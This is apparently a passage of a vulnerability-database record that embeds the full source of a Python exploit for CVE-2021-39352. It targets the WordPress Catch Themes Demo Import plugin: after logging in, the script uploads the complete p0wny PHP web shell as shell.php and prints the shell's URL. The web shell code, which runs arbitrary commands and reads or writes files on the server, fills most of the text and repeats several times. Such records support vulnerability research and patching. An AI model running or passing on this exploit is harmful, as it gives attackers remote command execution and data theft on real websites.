\\\"?feature=hint\\\",\\n {\\n filename: fileName,\\n cwd: CWD,\\n type: type\\n },\\n _requestCallback\\n );\\n\\n }\\n\\n function featureDownload(name, file) {\\n var element = document.createElement('a');\\n element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\\n element.setAttribute('download', name);\\n element.style.display = 'none';\\n document.body.appendChild(element);\\n element.click();\\n document.body.removeChild(element);\\n _insertStdout('Done.');\\n }\\n\\n function featureUpload(path) {\\n var element = document.createElement('input');\\n element.setAttribute('type', 'file');\\n element.style.display = 'none';\\n document.body.appendChild(element);\\n element.addEventListener('change', function () {\\n var promise = getBase64(element.files[0]);\\n promise.then(function (file) {\\n makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\\n _insertStdout(response.stdout.join(\\\"\\\\n\\\"));\\n updateCwd(response.cwd);\\n });\\n }, function () {\\n _insertStdout('An unknown client-side error occurred.');\\n });\\n });\\n element.click();\\n document.body.removeChild(element);\\n }\\n\\n function getBase64(file, onLoadCallback) {\\n return new Promise(function(resolve, reject) {\\n var reader = new FileReader();\\n reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\\n reader.onerror = reject;\\n reader.readAsDataURL(file);\\n });\\n }\\n\\n function genPrompt(cwd) {\\n cwd = cwd || \\\"~\\\";\\n var shortCwd = cwd;\\n if (cwd.split(\\\"/\\\").length > 3) {\\n var splittedCwd = cwd.split(\\\"/\\\");\\n shortCwd = \\\"\\xe2\\x80\\xa6/\\\" + splittedCwd[splittedCwd.length-2] + \\\"/\\\" + splittedCwd[splittedCwd.length-1];\\n }\\n return \\\"p0wny@shell:<span title=\\\\\\\"\\\" + cwd + \\\"\\\\\\\">\\\" + shortCwd + \\\"</span>#\\\";\\n }\\n\\n function updateCwd(cwd) {\\n if (cwd) {\\n CWD = cwd;\\n _updatePrompt();\\n return;\\n }\\n makeRequest(\\\"?feature=pwd\\\", {}, function(response) {\\n CWD = response.cwd;\\n _updatePrompt();\\n });\\n\\n }\\n\\n function escapeHtml(string) {\\n return string\\n .replace(/&/g, \\\"&\\\")\\n .replace(/</g, \\\"<\\\")\\n .replace(/>/g, \\\">\\\");\\n }\\n\\n function _updatePrompt() {\\n var eShellPrompt = document.getElementById(\\\"shell-prompt\\\");\\n eShellPrompt.innerHTML = genPrompt(CWD);\\n }\\n\\n function _onShellCmdKeyDown(event) {\\n switch (event.key) {\\n case \\\"Enter\\\":\\n featureShell(eShellCmdInput.value);\\n insertToHistory(eShellCmdInput.value);\\n eShellCmdInput.value = \\\"\\\";\\n break;\\n case \\\"ArrowUp\\\":\\n if (historyPosition > 0) {\\n historyPosition--;\\n eShellCmdInput.blur();\\n eShellCmdInput.value = commandHistory[historyPosition];\\n _defer(function() {\\n eShellCmdInput.focus();\\n });\\n }\\n break;\\n case \\\"ArrowDown\\\":\\n if (historyPosition >= commandHistory.length) {\\n break;\\n }\\n historyPosition++;\\n if (historyPosition === commandHistory.length) {\\n eShellCmdInput.value = \\\"\\\";\\n } else {\\n eShellCmdInput.blur();\\n eShellCmdInput.focus();\\n eShellCmdInput.value = commandHistory[historyPosition];\\n }\\n break;\\n case 'Tab':\\n event.preventDefault();\\n featureHint();\\n break;\\n }\\n }\\n\\n function insertToHistory(cmd) {\\n commandHistory.push(cmd);\\n historyPosition = commandHistory.length;\\n }\\n\\n function makeRequest(url, params, callback) {\\n function getQueryString() {\\n var a = [];\\n for (var key in params) {\\n if (params.hasOwnProperty(key)) {\\n a.push(encodeURIComponent(key) + \\\"=\\\" + encodeURIComponent(params[key]));\\n }\\n }\\n return a.join(\\\"&\\\");\\n }\\n var xhr = new XMLHttpRequest();\\n xhr.open(\\\"POST\\\", url, true);\\n xhr.setRequestHeader(\\\"Content-Type\\\", \\\"application/x-www-form-urlencoded\\\");\\n xhr.onreadystatechange = function() {\\n if (xhr.readyState === 4 && xhr.status === 200) {\\n try {\\n var responseJson = JSON.parse(xhr.responseText);\\n callback(responseJson);\\n } catch (error) {\\n alert(\\\"Error while parsing response: \\\" + error);\\n }\\n }\\n };\\n xhr.send(getQueryString());\\n }\\n\\n document.onclick = function(event) {\\n event = event || window.event;\\n var selection = window.getSelection();\\n var target = event.target || event.srcElement;\\n\\n if (target.tagName === \\\"SELECT\\\") {\\n return;\\n }\\n\\n if (!selection.toString()) {\\n eShellCmdInput.focus();\\n }\\n };\\n\\n window.onload = function() {\\n eShellCmdInput = document.getElementById(\\\"shell-cmd\\\");\\n eShellContent = document.getElementById(\\\"shell-content\\\");\\n updateCwd();\\n eShellCmdInput.focus();\\n };\\n </script>\\n </head>\\n\\n <body>\\n <div id=\\\"shell\\\">\\n <pre id=\\\"shell-content\\\">\\n <div id=\\\"shell-logo\\\">\\n ___ ____ _ _ _ _ _ <span></span>\\n _ __ / _ \\\\__ ___ __ _ _ / __ \\\\ ___| |__ ___| | |_ /\\\\/|| || |_ <span></span>\\n| '_ \\\\| | | \\\\ \\\\ /\\\\ / / '_ \\\\| | | |/ / _` / __| '_ \\\\ / _ \\\\ | (_)/\\\\/_ .. _|<span></span>\\n| |_) | |_| |\\\\ V V /| | | | |_| | | (_| \\\\__ \\\\ | | | __/ | |_ |_ _|<span></span>\\n| .__/ \\\\___/ \\\\_/\\\\_/ |_| |_|\\\\__, |\\\\ \\\\__,_|___/_| |_|\\\\___|_|_(_) |_||_| <span></span>\\n|_| |___/ \\\\____/ <span></span>\\n </div>\\n </pre>\\n <div id=\\\"shell-input\\\">\\n <label for=\\\"shell-cmd\\\" id=\\\"shell-prompt\\\" class=\\\"shell-prompt\\\">???</label>\\n <div>\\n <input id=\\\"shell-cmd\\\" name=\\\"cmd\\\" onkeydown=\\\"_onShellCmdKeyDown(event)\\\"/>\\n </div>\\n </div>\\n </div>\\n </body>\\n\\n</html>\\n\\r\\n-----------------------------121585879226594965303252407916--\\r\\n\"\r\nsession.post(exploit_url, headers=header, data=shell_payload)\r\nprint('[*] Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S')))\r\nprint(' -> Webshell: http://' + target_ip + ':' + target_port + wp_path + 'wp-content/uploads/' + str(datetime.now().strftime('%Y')) + '/' + str(datetime.now().strftime('%m')) + '/shell.php')\r\nprint('')", "sourceHref": "https://www.exploit-db.com/download/50580", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "zdt": [{"lastseen": "2021-12-10T05:55:24", "description": "", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.2, "privilegesRequired": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-12-09T00:00:00", "type": "zdt", "title": "Wordpress Catch Themes Demo Import 1.6.1 Plugin- Remote Code Execution Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-39352"], "modified": "2021-12-09T00:00:00", "id": "1337DAY-ID-37122", "href": "https://0day.today/exploit/description/37122", "sourceData": "# Exploit Title: Wordpress Plugin Catch Themes Demo Import 1.6.1 - Remote Code Execution (RCE) (Authenticated)\n# Exploit Author: Ron Jost (Hacker5preme)\n# Vendor Homepage: https://wordpress.org/plugins/catch-themes-demo-import/\n# Software Link: https://downloads.wordpress.org/plugin/catch-themes-demo-import.1.6.1.zip\n# Version: <= 1.6.1\n# Tested on: Ubuntu 18.04\n# CVE: CVE-2021-39352\n# CWE: CWE-434\n# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39352/README.md\n\n\n'''\nDescription:\nThe Catch Themes Demo Import WordPress plugin is vulnerable to arbitrary file uploads via the import functionality\nfound in the ~/inc/CatchThemesDemoImport.php file, in versions up to 1.7,\ndue to insufficient file type validation. This makes it possible for an attacker with administrative privileges to upload\nmalicious files that can be used to achieve remote code execution.\n'''\n\n# Banner:\nbanner = \"\"\"\n ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ \n||C |||V |||E |||- |||2 |||0 |||2 |||1 |||- |||3 |||9 |||3 |||5 |||2 ||\n||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__||\n|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|\n\n [+] Catch Themes Demo Import RCE (Authenticated) \n [@] Developed by Ron Jost (Hacker5preme)\n \n\"\"\"\nprint(banner)\n\n\nimport argparse\nimport requests\nfrom datetime import datetime\n\n# User-Input:\nmy_parser = argparse.ArgumentParser(description='Wordpress Plugin Catch Themes Demo Import - RCE (Authenticated)')\nmy_parser.add_argument('-T', '--IP', type=str)\nmy_parser.add_argument('-P', '--PORT', type=str)\nmy_parser.add_argument('-U', '--PATH', type=str)\nmy_parser.add_argument('-u', '--USERNAME', type=str)\nmy_parser.add_argument('-p', '--PASSWORD', type=str)\nargs = my_parser.parse_args()\ntarget_ip = args.IP\ntarget_port = args.PORT\nwp_path = args.PATH\nusername = args.USERNAME\npassword = args.PASSWORD\nprint('')\nprint('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S')))\nprint('')\n\n# Authentication:\nsession = requests.Session()\nauth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'\ncheck = session.get(auth_url)\n# Header:\nheader = {\n 'Host': target_ip,\n 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\n 'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',\n 'Accept-Encoding': 'gzip, deflate',\n 'Content-Type': 'application/x-www-form-urlencoded',\n 'Origin': 'http://' + target_ip,\n 'Connection': 'close',\n 'Upgrade-Insecure-Requests': '1'\n}\n\n# Body:\nbody = {\n 'log': username,\n 'pwd': password,\n 'wp-submit': 'Log In',\n 'testcookie': '1'\n}\nauth = session.post(auth_url, headers=header, data=body)\n\n# Get Security nonce value:\ncheck = session.get('http://' + target_ip + ':' + target_port + wp_path+ 'wp-admin/themes.php?page=catch-themes-demo-import').text\nnonce = check[check.find('ajax_nonce\"') + 13:]\nwp_nonce = nonce[:nonce.find('\"')]\nprint(wp_nonce)\n\n# Exploit:\nexploit_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/admin-ajax.php'\n\n# Header (Exploit):\nheader = {\n \"User-Agent\": \"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0\",\n \"Accept\": \"*/*\",\n \"Accept-Language\": \"de,en-US;q=0.7,en;q=0.3\",\n \"Accept-Encoding\": \"gzip, deflate\",\n 'Referer': 'http://' + target_ip + '/wordpress/wp-admin/themes.php?page=catch-themes-demo-import',\n \"X-Requested-With\": \"XMLHttpRequest\",\n \"Content-Type\": \"multipart/form-data; boundary=---------------------------121585879226594965303252407916\",\n \"Origin\": \"http://\" + target_ip,\n \"Connection\": \"close\"\n}\n\n# Exploit Payload (Using p0wny shell: https://github.com/flozz/p0wny-shell):\nshell_payload = \"-----------------------------121585879226594965303252407916\\r\\nContent-Disposition: form-data; name=\\\"action\\\"\\r\\n\\r\\nctdi_import_demo_data\\r\\n-----------------------------121585879226594965303252407916\\r\\nContent-Disposition: form-data; name=\\\"security\\\"\\r\\n\\r\\n\" + wp_nonce + \"\\r\\n-----------------------------121585879226594965303252407916\\r\\nContent-Disposition: form-data; name=\\\"selected\\\"\\r\\n\\r\\nundefined\\r\\n-----------------------------121585879226594965303252407916\\r\\nContent-Disposition: form-data; name=\\\"content_file\\\"; filename=\\\"shell.php\\\"\\r\\nContent-Type: application/x-php\\r\\n\\r\\n<?php\\n\\nfunction featureShell($cmd, $cwd) {\\n $stdout = array();\\n\\n if (preg_match(\\\"/^\\\\s*cd\\\\s*$/\\\", $cmd)) {\\n // pass\\n } elseif (preg_match(\\\"/^\\\\s*cd\\\\s+(.+)\\\\s*(2>&1)?$/\\\", $cmd)) {\\n chdir($cwd);\\n preg_match(\\\"/^\\\\s*cd\\\\s+([^\\\\s]+)\\\\s*(2>&1)?$/\\\", $cmd, $match);\\n chdir($match[1]);\\n } elseif (preg_match(\\\"/^\\\\s*download\\\\s+[^\\\\s]+\\\\s*(2>&1)?$/\\\", $cmd)) {\\n chdir($cwd);\\n preg_match(\\\"/^\\\\s*download\\\\s+([^\\\\s]+)\\\\s*(2>&1)?$/\\\", $cmd, $match);\\n return featureDownload($match[1]);\\n } else {\\n chdir($cwd);\\n exec($cmd, $stdout);\\n }\\n\\n return array(\\n \\\"stdout\\\" => $stdout,\\n \\\"cwd\\\" => getcwd()\\n );\\n}\\n\\nfunction featurePwd() {\\n return array(\\\"cwd\\\" => getcwd());\\n}\\n\\nfunction featureHint($fileName, $cwd, $type) {\\n chdir($cwd);\\n if ($type == 'cmd') {\\n $cmd = \\\"compgen -c $fileName\\\";\\n } else {\\n $cmd = \\\"compgen -f $fileName\\\";\\n }\\n $cmd = \\\"/bin/bash -c \\\\\\\"$cmd\\\\\\\"\\\";\\n $files = explode(\\\"\\\\n\\\", shell_exec($cmd));\\n return array(\\n 'files' => $files,\\n );\\n}\\n\\nfunction featureDownload($filePath) {\\n $file = @file_get_contents($filePath);\\n if ($file === FALSE) {\\n return array(\\n 'stdout' => array('File not found / no read permission.'),\\n 'cwd' => getcwd()\\n );\\n } else {\\n return array(\\n 'name' => basename($filePath),\\n 'file' => base64_encode($file)\\n );\\n }\\n}\\n\\nfunction featureUpload($path, $file, $cwd) {\\n chdir($cwd);\\n $f = @fopen($path, 'wb');\\n if ($f === FALSE) {\\n return array(\\n 'stdout' => array('Invalid path / no write permission.'),\\n 'cwd' => getcwd()\\n );\\n } else {\\n fwrite($f, base64_decode($file));\\n fclose($f);\\n return array(\\n 'stdout' => array('Done.'),\\n 'cwd' => getcwd()\\n );\\n }\\n}\\n\\nif (isset($_GET[\\\"feature\\\"])) {\\n\\n $response = NULL;\\n\\n switch ($_GET[\\\"feature\\\"]) {\\n case \\\"shell\\\":\\n $cmd = $_POST['cmd'];\\n if (!preg_match('/2>/', $cmd)) {\\n $cmd .= ' 2>&1';\\n }\\n $response = featureShell($cmd, $_POST[\\\"cwd\\\"]);\\n break;\\n case \\\"pwd\\\":\\n $response = featurePwd();\\n break;\\n case \\\"hint\\\":\\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\\n break;\\n case 'upload':\\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\\n }\\n\\n header(\\\"Content-Type: application/json\\\");\\n echo json_encode($response);\\n die();\\n}\\n\\n?><!DOCTYPE html>\\n\\n<html>\\n\\n <head>\\n <meta charset=\\\"UTF-8\\\" />\\n <title>[email\u00a0protected]:~#</title>\\n <meta name=\\\"viewport\\\" content=\\\"width=device-width, initial-scale=1.0\\\" />\\n <style>\\n html, body {\\n margin: 0;\\n padding: 0;\\n background: #333;\\n color: #eee;\\n font-family: monospace;\\n }\\n\\n *::-webkit-scrollbar-track {\\n border-radius: 8px;\\n background-color: #353535;\\n }\\n\\n *::-webkit-scrollbar {\\n width: 8px;\\n height: 8px;\\n }\\n\\n *::-webkit-scrollbar-thumb {\\n border-radius: 8px;\\n -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\\n background-color: #bcbcbc;\\n }\\n\\n #shell {\\n background: #222;\\n max-width: 800px;\\n margin: 50px auto 0 auto;\\n box-shadow: 0 0 5px rgba(0, 0, 0, .3);\\n font-size: 10pt;\\n display: flex;\\n flex-direction: column;\\n align-items: stretch;\\n }\\n\\n #shell-content {\\n height: 500px;\\n overflow: auto;\\n padding: 5px;\\n white-space: pre-wrap;\\n flex-grow: 1;\\n }\\n\\n #shell-logo {\\n font-weight: bold;\\n color: #FF4180;\\n text-align: center;\\n }\\n\\n @media (max-width: 991px) {\\n #shell-logo {\\n font-size: 6px;\\n margin: -25px 0;\\n }\\n\\n html, body, #shell {\\n height: 100%;\\n width: 100%;\\n max-width: none;\\n }\\n\\n #shell {\\n margin-top: 0;\\n }\\n }\\n\\n @media (max-width: 767px) {\\n #shell-input {\\n flex-direction: column;\\n }\\n }\\n\\n @media (max-width: 320px) {\\n #shell-logo {\\n font-size: 5px;\\n }\\n }\\n\\n .shell-prompt {\\n font-weight: bold;\\n color: #75DF0B;\\n }\\n\\n .shell-prompt > span {\\n color: #1BC9E7;\\n }\\n\\n #shell-input {\\n display: flex;\\n box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\\n border-top: rgba(255, 255, 255, .05) solid 1px;\\n }\\n\\n #shell-input > label {\\n flex-grow: 0;\\n display: block;\\n padding: 0 5px;\\n height: 30px;\\n line-height: 30px;\\n }\\n\\n #shell-input #shell-cmd {\\n height: 30px;\\n line-height: 30px;\\n border: none;\\n background: transparent;\\n color: #eee;\\n font-family: monospace;\\n font-size: 10pt;\\n width: 100%;\\n align-self: center;\\n }\\n\\n #shell-input div {\\n flex-grow: 1;\\n align-items: stretch;\\n }\\n\\n #shell-input input {\\n outline: none;\\n }\\n </style>\\n\\n <script>\\n var CWD = null;\\n var commandHistory = [];\\n var historyPosition = 0;\\n var eShellCmdInput = null;\\n var eShellContent = null;\\n\\n function _insertCommand(command) {\\n eShellContent.innerHTML += \\\"\\\\n\\\\n\\\";\\n eShellContent.innerHTML += '<span class=\\\\\\\"shell-prompt\\\\\\\">' + genPrompt(CWD) + '</span> ';\\n eShellContent.innerHTML += escapeHtml(command);\\n eShellContent.innerHTML += \\\"\\\\n\\\";\\n eShellContent.scrollTop = eShellContent.scrollHeight;\\n }\\n\\n function _insertStdout(stdout) {\\n eShellContent.innerHTML += escapeHtml(stdout);\\n eShellContent.scrollTop = eShellContent.scrollHeight;\\n }\\n\\n function _defer(callback) {\\n setTimeout(callback, 0);\\n }\\n\\n function featureShell(command) {\\n\\n _insertCommand(command);\\n if (/^\\\\s*upload\\\\s+[^\\\\s]+\\\\s*$/.test(command)) {\\n featureUpload(command.match(/^\\\\s*upload\\\\s+([^\\\\s]+)\\\\s*$/)[1]);\\n } else if (/^\\\\s*clear\\\\s*$/.test(command)) {\\n // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\\n eShellContent.innerHTML = '';\\n } else {\\n makeRequest(\\\"?feature=shell\\\", {cmd: command, cwd: CWD}, function (response) {\\n if (response.hasOwnProperty('file')) {\\n featureDownload(response.name, response.file)\\n } else {\\n _insertStdout(response.stdout.join(\\\"\\\\n\\\"));\\n updateCwd(response.cwd);\\n }\\n });\\n }\\n }\\n\\n function featureHint() {\\n if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete\\n\\n function _requestCallback(data) {\\n if (data.files.length <= 1) return; // no completion\\n\\n if (data.files.length === 2) {\\n if (type === 'cmd') {\\n eShellCmdInput.value = data.files[0];\\n } else {\\n var currentValue = eShellCmdInput.value;\\n eShellCmdInput.value = currentValue.replace(/([^\\\\s]*)$/, data.files[0]);\\n }\\n } else {\\n _insertCommand(eShellCmdInput.value);\\n _insertStdout(data.files.join(\\\"\\\\n\\\"));\\n }\\n }\\n\\n var currentCmd = eShellCmdInput.value.split(\\\" \\\");\\n var type = (currentCmd.length === 1) ? \\\"cmd\\\" : \\\"file\\\";\\n var fileName = (type === \\\"cmd\\\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\\n\\n makeRequest(\\n \\\"?feature=hint\\\",\\n {\\n filename: fileName,\\n cwd: CWD,\\n type: type\\n },\\n _requestCallback\\n );\\n\\n }\\n\\n function featureDownload(name, file) {\\n var element = document.createElement('a');\\n element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\\n element.setAttribute('download', name);\\n element.style.display = 'none';\\n document.body.appendChild(element);\\n element.click();\\n document.body.removeChild(element);\\n _insertStdout('Done.');\\n }\\n\\n function featureUpload(path) {\\n var element = document.createElement('input');\\n element.setAttribute('type', 'file');\\n element.style.display = 'none';\\n document.body.appendChild(element);\\n element.addEventListener('change', function () {\\n var promise = getBase64(element.files[0]);\\n promise.then(function (file) {\\n makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\\n _insertStdout(response.stdout.join(\\\"\\\\n\\\"));\\n updateCwd(response.cwd);\\n });\\n }, function () {\\n _insertStdout('An unknown client-side error occurred.');\\n });\\n });\\n element.click();\\n document.body.removeChild(element);\\n }\\n\\n function getBase64(file, onLoadCallback) {\\n return new Promise(function(resolve, reject) {\\n var reader = new FileReader();\\n reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\\n reader.onerror = reject;\\n reader.readAsDataURL(file);\\n });\\n }\\n\\n function genPrompt(cwd) {\\n cwd = cwd || \\\"~\\\";\\n var shortCwd = cwd;\\n if (cwd.split(\\\"/\\\").length > 3) {\\n var splittedCwd = cwd.split(\\\"/\\\");\\n shortCwd = \\\"\\xe2\\x80\\xa6/\\\" + splittedCwd[splittedCwd.length-2] + \\\"/\\\" + splittedCwd[splittedCwd.length-1];\\n }\\n return \\\"[email\u00a0protected]:<span title=\\\\\\\"\\\" + cwd + \\\"\\\\\\\">\\\" + shortCwd + \\\"</span>#\\\";\\n }\\n\\n function updateCwd(cwd) {\\n if (cwd) {\\n CWD = cwd;\\n _updatePrompt();\\n return;\\n }\\n makeRequest(\\\"?feature=pwd\\\", {}, function(response) {\\n CWD = response.cwd;\\n _updatePrompt();\\n });\\n\\n }\\n\\n function escapeHtml(string) {\\n return string\\n .replace(/&/g, \\\"&\\\")\\n .replace(/</g, \\\"<\\\")\\n .replace(/>/g, \\\">\\\");\\n }\\n\\n function _updatePrompt() {\\n var eShellPrompt = document.getElementById(\\\"shell-prompt\\\");\\n eShellPrompt.innerHTML = genPrompt(CWD);\\n }\\n\\n function _onShellCmdKeyDown(event) {\\n switch (event.key) {\\n case \\\"Enter\\\":\\n featureShell(eShellCmdInput.value);\\n insertToHistory(eShellCmdInput.value);\\n eShellCmdInput.value = \\\"\\\";\\n break;\\n case \\\"ArrowUp\\\":\\n if (historyPosition > 0) {\\n historyPosition--;\\n eShellCmdInput.blur();\\n eShellCmdInput.value = commandHistory[historyPosition];\\n _defer(function() {\\n eShellCmdInput.focus();\\n });\\n }\\n break;\\n case \\\"ArrowDown\\\":\\n if (historyPosition >= commandHistory.length) {\\n break;\\n }\\n historyPosition++;\\n if (historyPosition === commandHistory.length) {\\n eShellCmdInput.value = \\\"\\\";\\n } else {\\n eShellCmdInput.blur();\\n eShellCmdInput.focus();\\n eShellCmdInput.value = commandHistory[historyPosition];\\n }\\n break;\\n case 'Tab':\\n event.preventDefault();\\n featureHint();\\n break;\\n }\\n }\\n\\n function insertToHistory(cmd) {\\n commandHistory.push(cmd);\\n historyPosition = commandHistory.length;\\n }\\n\\n function makeRequest(url, params, callback) {\\n function getQueryString() {\\n var a = [];\\n for (var key in params) {\\n if (params.hasOwnProperty(key)) {\\n a.push(encodeURIComponent(key) + \\\"=\\\" + encodeURIComponent(params[key]));\\n }\\n }\\n return a.join(\\\"&\\\");\\n }\\n var xhr = new XMLHttpRequest();\\n xhr.open(\\\"POST\\\", url, true);\\n xhr.setRequestHeader(\\\"Content-Type\\\", \\\"application/x-www-form-urlencoded\\\");\\n xhr.onreadystatechange = function() {\\n if (xhr.readyState === 4 && xhr.status === 200) {\\n try {\\n var responseJson = JSON.parse(xhr.responseText);\\n callback(responseJson);\\n } catch (error) {\\n alert(\\\"Error while parsing response: \\\" + error);\\n }\\n }\\n };\\n xhr.send(getQueryString());\\n }\\n\\n document.onclick = function(event) {\\n event = event || window.event;\\n var selection = window.getSelection();\\n var target = event.target || event.srcElement;\\n\\n if (target.tagName === \\\"SELECT\\\") {\\n return;\\n }\\n\\n if (!selection.toString()) {\\n eShellCmdInput.focus();\\n }\\n };\\n\\n window.onload = function() {\\n eShellCmdInput = document.getElementById(\\\"shell-cmd\\\");\\n eShellContent = document.getElementById(\\\"shell-content\\\");\\n updateCwd();\\n eShellCmdInput.focus();\\n };\\n </script>\\n </head>\\n\\n <body>\\n <div id=\\\"shell\\\">\\n <pre id=\\\"shell-content\\\">\\n <div id=\\\"shell-logo\\\">\\n ___ ____ _ _ _ _ _ <span></span>\\n _ __ / _ \\\\__ ___ __ _ _ / __ \\\\ ___| |__ ___| | |_ /\\\\/|| || |_ <span></span>\\n| '_ \\\\| | | \\\\ \\\\ /\\\\ / / '_ \\\\| | | |/ / _` / __| '_ \\\\ / _ \\\\ | (_)/\\\\/_ .. _|<span></span>\\n| |_) | |_| |\\\\ V V /| | | | |_| | | (_| \\\\__ \\\\ | | | __/ | |_ |_ _|<span></span>\\n| .__/ \\\\___/ \\\\_/\\\\_/ |_| |_|\\\\__, |\\\\ \\\\__,_|___/_| |_|\\\\___|_|_(_) |_||_| <span></span>\\n|_| |___/ \\\\____/ <span></span>\\n </div>\\n </pre>\\n <div id=\\\"shell-input\\\">\\n <label for=\\\"shell-cmd\\\" id=\\\"shell-prompt\\\" class=\\\"shell-prompt\\\">???</label>\\n <div>\\n <input id=\\\"shell-cmd\\\" name=\\\"cmd\\\" onkeydown=\\\"_onShellCmdKeyDown(event)\\\"/>\\n </div>\\n </div>\\n </div>\\n </body>\\n\\n</html>\\n\\r\\n-----------------------------121585879226594965303252407916\\r\\nContent-Disposition: form-data; name=\\\"widget_file\\\"; filename=\\\"shell.php\\\"\\r\\nContent-Type: application/x-php\\r\\n\\r\\n<?php\\n\\nfunction featureShell($cmd, $cwd) {\\n $stdout = array();\\n\\n if (preg_match(\\\"/^\\\\s*cd\\\\s*$/\\\", $cmd)) {\\n // pass\\n } elseif (preg_match(\\\"/^\\\\s*cd\\\\s+(.+)\\\\s*(2>&1)?$/\\\", $cmd)) {\\n chdir($cwd);\\n preg_match(\\\"/^\\\\s*cd\\\\s+([^\\\\s]+)\\\\s*(2>&1)?$/\\\", $cmd, $match);\\n chdir($match[1]);\\n } elseif (preg_match(\\\"/^\\\\s*download\\\\s+[^\\\\s]+\\\\s*(2>&1)?$/\\\", $cmd)) {\\n chdir($cwd);\\n preg_match(\\\"/^\\\\s*download\\\\s+([^\\\\s]+)\\\\s*(2>&1)?$/\\\", $cmd, $match);\\n return featureDownload($match[1]);\\n } else {\\n chdir($cwd);\\n exec($cmd, $stdout);\\n }\\n\\n return array(\\n \\\"stdout\\\" => $stdout,\\n \\\"cwd\\\" => getcwd()\\n );\\n}\\n\\nfunction featurePwd() {\\n return array(\\\"cwd\\\" => getcwd());\\n}\\n\\nfunction featureHint($fileName, $cwd, $type) {\\n chdir($cwd);\\n if ($type == 'cmd') {\\n $cmd = \\\"compgen -c $fileName\\\";\\n } else {\\n $cmd = \\\"compgen -f $fileName\\\";\\n }\\n $cmd = \\\"/bin/bash -c \\\\\\\"$cmd\\\\\\\"\\\";\\n $files = explode(\\\"\\\\n\\\", shell_exec($cmd));\\n return array(\\n 'files' => $files,\\n );\\n}\\n\\nfunction featureDownload($filePath) {\\n $file = @file_get_contents($filePath);\\n if ($file === FALSE) {\\n return array(\\n 'stdout' => array('File not found / no read permission.'),\\n 'cwd' => getcwd()\\n );\\n } else {\\n return array(\\n 'name' => basename($filePath),\\n 'file' => base64_encode($file)\\n );\\n }\\n}\\n\\nfunction featureUpload($path, $file, $cwd) {\\n chdir($cwd);\\n $f = @fopen($path, 'wb');\\n if ($f === FALSE) {\\n return array(\\n 'stdout' => array('Invalid path / no write permission.'),\\n 'cwd' => getcwd()\\n );\\n } else {\\n fwrite($f, base64_decode($file));\\n fclose($f);\\n return array(\\n 'stdout' => array('Done.'),\\n 'cwd' => getcwd()\\n );\\n }\\n}\\n\\nif (isset($_GET[\\\"feature\\\"])) {\\n\\n $response = NULL;\\n\\n switch ($_GET[\\\"feature\\\"]) {\\n case \\\"shell\\\":\\n $cmd = $_POST['cmd'];\\n if (!preg_match('/2>/', $cmd)) {\\n $cmd .= ' 2>&1';\\n }\\n $response = featureShell($cmd, $_POST[\\\"cwd\\\"]);\\n break;\\n case \\\"pwd\\\":\\n $response = featurePwd();\\n break;\\n case \\\"hint\\\":\\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\\n break;\\n case 'upload':\\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\\n }\\n\\n header(\\\"Content-Type: application/json\\\");\\n echo json_encode($response);\\n die();\\n}\\n\\n?><!DOCTYPE html>\\n\\n<html>\\n\\n <head>\\n <meta charset=\\\"UTF-8\\\" />\\n <title>[email\u00a0protected]:~#</title>\\n <meta name=\\\"viewport\\\" content=\\\"width=device-width, initial-scale=1.0\\\" />\\n <style>\\n html, body {\\n margin: 0;\\n padding: 0;\\n background: #333;\\n color: #eee;\\n font-family: monospace;\\n }\\n\\n *::-webkit-scrollbar-track {\\n border-radius: 8px;\\n background-color: #353535;\\n }\\n\\n *::-webkit-scrollbar {\\n width: 8px;\\n height: 8px;\\n }\\n\\n *::-webkit-scrollbar-thumb {\\n border-radius: 8px;\\n 